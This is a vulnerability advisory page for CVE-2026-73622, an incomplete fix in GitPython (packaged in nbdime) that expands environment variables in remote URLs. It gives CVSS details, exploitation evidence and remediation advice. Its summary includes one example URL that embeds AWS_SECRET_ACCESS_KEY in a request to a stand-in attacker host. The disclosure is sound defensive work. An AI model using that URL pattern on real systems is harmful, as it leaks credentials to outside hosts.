CVE-2026-73622VulnerabilityPublished 14 Aug 2026Updated 26 Oct 2026

nbdime · GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of

Affects nbdimeSource GCVE Database

Authoritative record:CVE-2026-73622· High 8.7

Not known to be exploited · CVSS 8.7 High : upgrade to 4.0.4_5 soon.

Data as of 26 Oct 2026, 17:26 UTC

CVSS 4.0 base score

8.7High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.5% chance of exploitation in 30 days – higher than 43% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 4.0.4_5

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: None
Vulnerable system availability: None
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade nbdime to 4.0.4_5.

Affected software

Product	Affected	Fixed in
Homebrewnbdime`pkg:brew/nbdime`Other threats	Affected >=1.1.0 <4.0.4_5	Fixed in 4.0.4_5

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

A fix is available in GitPython version 4.0.4_5 that disables environment variable expansion in these API calls. Users should upgrade to version 4.0.4_5 or later to remediate this vulnerability. Until upgraded, avoid passing untrusted URLs to Repo.create_remote() or Remote.add() that could contain environment variable references. No other mitigations are specified by the vendor.

Description

GitPython versions from 1.1.0 up to but not including 4.0.4_5 contain a vulnerability where environment variables in URLs passed to Repo.create_remote() or Remote.add() are expanded and embedded into the repository configuration. This can lead to sensitive environment variables being exfiltrated to attacker-controlled hosts during git fetch or pull operations. The vulnerability arises because the fix for a previous similar issue did not cover these API calls, leaving the default behavior of expanding environment variables in URLs intact. A patch is available in version 4.0.4_5 that addresses this issue.

Impact

An attacker who can supply a URL to Repo.create_remote() or Remote.add() can cause environment variables from the hosting process to be expanded and embedded into the repository's configuration files. This leads to disclosure of sensitive environment variables (such as AWS secret keys) to attacker-controlled servers when the repository performs fetch or pull operations. The impact is high confidentiality loss without integrity or availability impact. There is no indication of known exploitation in the wild.

Summary

The vulnerability in GitPython involves environment-variable expansion in URLs passed to the public APIs Repo.create_remote() and Remote.add(), which internally call Git.polish_url() with expand_vars=True by default. This causes environment variables embedded in URLs (e.g., http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git) to be expanded on the server side, embedding secrets into .git/config or .gitmodules files. These secrets are then transmitted to attacker-controlled hosts during subsequent fetch or pull operations. The root cause is that the fix for a prior advisory (GHSA-rwj8-pgh3-r573) only disabled environment variable expansion for Repo.clone_from(), but not for these other callers. The patch commit 8ac5a305 introduced an expand_vars parameter but left the default as True for these calls, resulting in incomplete remediation. The vulnerability affects GitPython versions >=1.1.0 and <4.0.4_5, with a fix available in 4.0.4_5.

References

Community reviews

Loading reviews…

Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 26 Oct 2026, 17:26 UTC

Technical details

References

Community reviews

Related threats